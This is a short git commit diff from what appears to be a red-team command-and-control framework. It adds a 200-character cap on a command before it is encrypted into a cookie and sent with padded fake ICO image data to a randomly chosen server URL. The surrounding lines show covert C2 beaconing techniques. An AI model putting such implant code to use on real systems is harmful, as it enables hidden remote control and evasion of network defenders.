Fixed linuxprivchecker to work through a proxy

chunking
PwnDexter 2019-01-19 15:47:44 +00:00
parent bf9228302c
commit f7fc15b7f4
1 changed files with 2 additions and 0 deletions

View File

@ -242,6 +242,8 @@ while(True):
server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri) server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
opener = urllib2.build_opener() opener = urllib2.build_opener()
if (len(cmd) > 200):
cmd = cmd[0:200]
postcookie = encrypt(key, cmd) postcookie = encrypt(key, cmd)
data = base64.b64decode(random.choice(icoimage)) data = base64.b64decode(random.choice(icoimage))
dataimage = data.ljust( 1500, '\\0' ) dataimage = data.ljust( 1500, '\\0' )